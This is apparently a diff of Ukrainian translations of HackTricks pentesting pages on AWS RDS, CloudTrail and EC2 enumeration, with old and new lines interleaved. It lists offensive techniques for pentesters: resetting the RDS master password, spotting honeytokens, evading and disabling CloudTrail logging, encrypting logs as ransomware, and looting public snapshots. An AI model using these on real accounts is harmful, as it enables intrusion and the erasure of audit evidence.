При створенні кластера БД майстерний **ім'я користувача** може бути налаштований (**`admin`** за замовчуванням). Щоб згенерувати пароль цього користувача, ви можете:
При створенні кластера DB майстер **ім'я користувача** може бути налаштоване (**`admin`** за замовчуванням). Щоб згенерувати пароль цього користувача, ви можете:
- **Вказати** **пароль** самостійно
- Сказати RDS **автоматично згенерувати** його
@@ -30,17 +30,17 @@ AWS RDS підтримує різні широко використовуван
### Аутентифікація
Існує 3 типи варіантів аутентифікації, але використання **майстерного пароля завжди дозволено**:
Існує 3 типи варіантів аутентифікації, але використання **майстер-пароля завжди дозволено**:
<figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
### Публічний доступ та VPC
За замовчуванням **публічний доступ не надається** базам даних, однак він **може бути наданий**. Тому за замовчуванням лише машини з тієї ж VPC зможуть отримати доступ до неї, якщо вибрана **група безпеки** (зберігається в EC2 SG) дозволяє це.
За замовчуванням **публічний доступ не надається** базам даних, однак він **може бути наданий**. Тому за замовчуванням лише машини з тієї ж VPC зможуть отримати доступ до неї, якщо вибрана **група безпеки** (зберігається в EC2 SG) це дозволяє.
Замість того, щоб відкривати екземпляр БД, можна створити **RDS Proxy**, який **покращує** **масштабованість** та **доступність** кластера БД.
Замість того, щоб відкривати екземпляр бази даних, можна створити **RDS Proxy**, який **покращує** **масштабованість** та **доступність** кластера бази даних.
Більше того, **порт бази даних також може бути змінений**.
Крім того, **порт бази даних також може бути змінений**.
### Шифрування
@@ -53,24 +53,24 @@ AWS RDS підтримує різні широко використовуван
#### Прозоре шифрування даних (TDE)
Поряд з можливостями шифрування, властивими RDS на рівні програми, RDS також підтримує **додаткові механізми шифрування на платформі** для захисту даних у спокої. Це включає **Прозоре шифрування даних (TDE)** для Oracle та SQL Server. Однак важливо зазначити, що хоча TDE підвищує безпеку, шифруючи дані в спокої, це також може **вплинути на продуктивність бази даних**. Цей вплив на продуктивність особливо помітний при використанні разом з криптографічними функціями MySQL або криптографічними функціями Microsoft Transact-SQL.
Окрім можливостей шифрування, властивих RDS на рівні програми, RDS також підтримує **додаткові механізми шифрування на платформі** для захисту даних у спокої. Це включає **Прозоре шифрування даних (TDE)** для Oracle та SQL Server. Однак важливо зазначити, що хоча TDE підвищує безпеку, шифруючи дані в спокої, це також може **вплинути на продуктивність бази даних**. Цей вплив на продуктивність особливо помітний при використанні разом з криптографічними функціями MySQL або криптографічними функціями Microsoft Transact-SQL.
Щоб використовувати TDE, необхідні певні попередні кроки:
1. **Асоціація групи параметрів**:
- База даних повинна бути асоційована з групою параметрів. Групи параметрів служать контейнерами для налаштувань і функцій, полегшуючи управління базою даних, включаючи покращення безпеки.
- База даних повинна бути асоційована з групою параметрів. Групи параметрів слугують контейнерами для налаштувань і функцій, полегшуючи управління базою даних, включаючи покращення безпеки.
- Однак важливо зазначити, що групи параметрів доступні лише для певних движків бази даних і версій.
2. **Включення TDE в групу параметрів**:
- Після асоціації з групою параметрів опція Oracle Transparent Data Encryption повинна бути включена в цю групу.
- Важливо усвідомлювати, що після додавання опції TDE до групи параметрів вона стає постійною частиною і не може бути видалена.
- Важливо усвідомлювати, що після додавання опції TDE до групи параметрів вона стає постійною і не може бути видалена.
3. **Режими шифрування TDE**:
- TDE пропонує два різні режими шифрування:
- **Шифрування таблиць TDE**: Цей режим шифрує цілі таблиці, забезпечуючи ширший обсяг захисту даних.
- **Шифрування стовпців TDE**: Цей режим зосереджується на шифруванні конкретних, окремих елементів у базі даних, що дозволяє більш детально контролювати, які дані шифруються.
Розуміння цих попередніх вимог і оперативних тонкощів TDE є важливим для ефективного впровадження та управління шифруванням у RDS, забезпечуючи як безпеку даних, так і відповідність необхідним стандартам.
Розуміння цих передумов і оперативних тонкощів TDE є важливим для ефективного впровадження та управління шифруванням у RDS, забезпечуючи як безпеку даних, так і відповідність необхідним стандартам.
### Перерахунок
### Перерахування
```bash
# Clusters info
## Get Endpoints, username, port, iam auth enabled, attached roles, SG
@@ -117,7 +117,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
../aws-privilege-escalation/aws-rds-privesc.md
{{#endref}}
### Після експлуатації
### Постексплуатація
{{#ref}}
../aws-post-exploitation/aws-rds-post-exploitation.md
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
Існують способи доступу до даних DynamoDB з використанням **SQL-синтаксису**, отже, типові **SQL-ін'єкції також можливі**.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## **CloudTrail**
AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує аудит змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.
AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.
Кожна зафіксована подія містить:
- Назву викликаного API: `eventName`
- Викликану службу: `eventSource`
- Ім'я викликаного API: `eventName`
- Викликаний сервіс: `eventSource`
- Час: `eventTime`
- IP-адресу: `SourceIPAddress`
- IP-адреса: `SourceIPAddress`
- Метод агента: `userAgent`. Приклади:
- Signing.amazonaws.com - З AWS Management Console
- console.amazonaws.com - Кореневий користувач облікового запису
@@ -22,7 +22,7 @@ AWS CloudTrail **реєструє та моніторить активність
Події записуються в новий файл журналу **приблизно кожні 5 хвилин у файлі JSON**, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів **доставляються в S3 приблизно через 15 хвилин**.\
Журнали CloudTrail можуть бути **агреговані між обліковими записами та регіонами.**\
CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\
При створенні Trail селектори подій дозволять вам вказати, які події журналювати: управлінські, дані або інсайти.
При створенні Trail селектори подій дозволять вам вказати, які події реєструвати: управлінські, дані або події аналітики.
Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами.
@@ -55,7 +55,7 @@ CloudTrail дозволяє використовувати **цілісніст
### CloudTrail з усіх облікових записів організації в 1
При створенні CloudTrail можливо вказати активувати CloudTrail для всіх облікових записів в організації та отримати журнали лише в 1 кошику:
При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
@@ -83,23 +83,23 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
### Інсайти
**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API активність легшими** ніж будь-коли.
**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо спостерігається збільшення подій `TerminateInstance`, що відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли.
Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail у: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Безпека
| Цілісність файлів логів CloudTrail | <ul><li>Перевірити, чи логи були підроблені (змінені або видалені)</li><li><p>Використовує файли дайджесту (створює хеш для кожного файлу)</p><ul><li>SHA-256 хешування</li><li>SHA-256 з RSA для цифрового підпису</li><li>приватний ключ, що належить Amazon</li></ul></li><li>Створення файлу дайджесту займає 1 годину (здійснюється щогодини)</li></ul> |
| Цілісність файлів логів CloudTrail | <ul><li>Перевірити, чи не були змінені логи (модифіковані або видалені)</li><li><p>Використовує файли дайджесту (створює хеш для кожного файлу)</p><ul><li>SHA-256 хешування</li><li>SHA-256 з RSA для цифрового підпису</li><li>приватний ключ, що належить Amazon</li></ul></li><li>Створення файлу дайджесту займає 1 годину (виконується щогодини)</li></ul> |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Зупинити несанкціонований доступ | <ul><li><p>Використовуйте політики IAM та політики бакетів S3</p><ul><li>команда безпеки —> адміністраторський доступ</li><li>аудитори —> доступ лише для читання</li></ul></li><li>Використовуйте SSE-S3/SSE-KMS для шифрування логів</li></ul> |
| Запобігти видаленню файлів логів | <ul><li>Обмежити доступ до видалення за допомогою IAM та політик бакетів</li><li>Налаштувати видалення S3 MFA</li><li>Перевірити за допомогою валідації файлів логів</li></ul> |
| Запобігти видаленню файлів логів | <ul><li>Обмежити доступ до видалення за допомогою IAM та політик бакетів</li><li>Налаштувати S3 MFA видалення</li><li>Перевірити за допомогою валідації файлів логів</li></ul> |
## Консультант доступу
AWS Access Advisor покладається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант доступу може визначити, які сервіси AWS використовував IAM користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
AWS Access Advisor спирається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Access Advisor використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Access Advisor може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
> [!TIP]
> Отже, Консультант доступу інформує про **необхідні дозволи, що надаються користувачам**, щоб адміністратор міг їх видалити
> Отже, Access Advisor інформує про **необхідні дозволи, що надаються користувачам**, щоб адміністратор міг їх видалити
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -139,7 +139,7 @@ print(response)
Для отримання додаткової інформації про CSV-ін'єкції перегляньте сторінку:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/formula-injection
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}
Для отримання додаткової інформації про цю конкретну техніку перегляньте [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
@@ -148,17 +148,17 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection
### HoneyTokens **обхід**
Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких моніториться**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.
Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.
Однак, Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**.
Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створював будь-який журнал, **ви могли б дізнатися, чи є ключ honeytoken чи ні**.
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- Якщо **`canarytokens.org`** з'являється в імені ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку.
- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в імені.
- Якщо **`SpaceCrab`** з'являється в імені ролі в повідомленні про помилку
- **SpaceSiren** використовує **uuids** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Якщо **ім'я виглядає як випадково згенероване**, є високі ймовірності, що це HoneyToken.
- Якщо **`SpaceCrab`** з'являється в імені ролі в повідомленні про помилку.
- **SpaceSiren** використовує **uuid** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Якщо **ім'я виглядає як випадково згенероване**, є висока ймовірність, що це HoneyToken.
#### Отримати ідентифікатор облікового запису з ідентифікатора ключа
@@ -189,24 +189,24 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**.
#### Служби AWS без журналів
#### AWS сервіси без журналів
У минулому існували деякі **служби AWS, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ.
У минулому існували деякі **AWS сервіси, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих сервісів **відповідають** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ.
Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатори облікових записів компаній HoneyToken та їхні імена, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
Таким чином, **зловмисник може отримати ARN ключа, не викликаючи жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатори облікових записів компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
![](<../../../../images/image (93).png>)
> [!CAUTION]
> Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють журнали CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні...
>
> Для отримання додаткової інформації перевірте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
> Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
### Доступ до третьої інфраструктури
Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **кластери Kubernetes** (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію.
Деякі сервіси AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **Kubernetes** кластери (EKS). Користувач, **який безпосередньо спілкується з цими сервісами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію.
Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально та **спілкуватися з API-сервісом без виявлення Cloudtrail**.
Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і **спілкуватися з API-сервісом без виявлення Cloudtrail**.
Більше інформації в:
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
У першому прикладі надано один селектор подій у вигляді масиву JSON з одним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
У першому прикладі одиничний селектор подій надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.
@@ -249,14 +249,14 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
- Видалити S3 бакет
- Змінити політику бакету, щоб заборонити будь-які записи з сервісу CloudTrail
- Додати політику життєвого циклу до S3 бакету для видалення об'єктів
- Вимкнути ключ kms, який використовується для шифрування журналів CloudTrail
- Вимкнути ключ kms, що використовується для шифрування журналів CloudTrail
### Ransomware Cloudtrail
#### Ransomware S3
Ви можете **згенерувати асиметричний ключ** і змусити **CloudTrail зашифрувати дані** цим ключем і **видалити приватний ключ**, щоб вміст CloudTrail не можна було відновити.\
Це в основному **S3-KMS ransomware**, пояснене в:
Це, по суті, **S3-KMS ransomware**, пояснене в:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
@@ -264,7 +264,7 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
**KMS ransomware**
Це найпростіший спосіб виконати попередню атаку з різними вимогами до дозволів:
Це найпростіший спосіб виконати попередню атаку з іншими вимогами до дозволів:
{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md

View File

@@ -1,8 +1,8 @@
# AWS - EC2 Універсальний Перелік
# AWS - EC2 Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## EC2 та Супутні Сервіси
## EC2 та пов'язані сервіси
Перевірте на цій сторінці більше інформації про це:
@@ -10,19 +10,19 @@
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Публічні Порти
### Публічні порти
Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може зловживати цим.
Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може це зловживати.
#### SSRF
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Публічні AMI та EBS Снапшоти
### Публічні AMI та знімки EBS
AWS дозволяє **надавати доступ будь-кому для завантаження AMI та Снапшотів**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису:
AWS дозволяє **надавати доступ будь-кому для завантаження AMI та знімків**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису:
```bash
# Public AMIs
aws ec2 describe-images --executable-users all
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
Якщо ви знайдете знімок, який може бути відновлений будь-ким, обов'язково перевірте [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) для отримання інструкцій щодо завантаження та грабежу знімка.
Якщо ви знайдете знімок, який може бути відновлений будь-ким, обов'язково перевірте [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) для отримання інструкцій щодо завантаження та грабежу знімка.
#### Шаблон публічного URL
```bash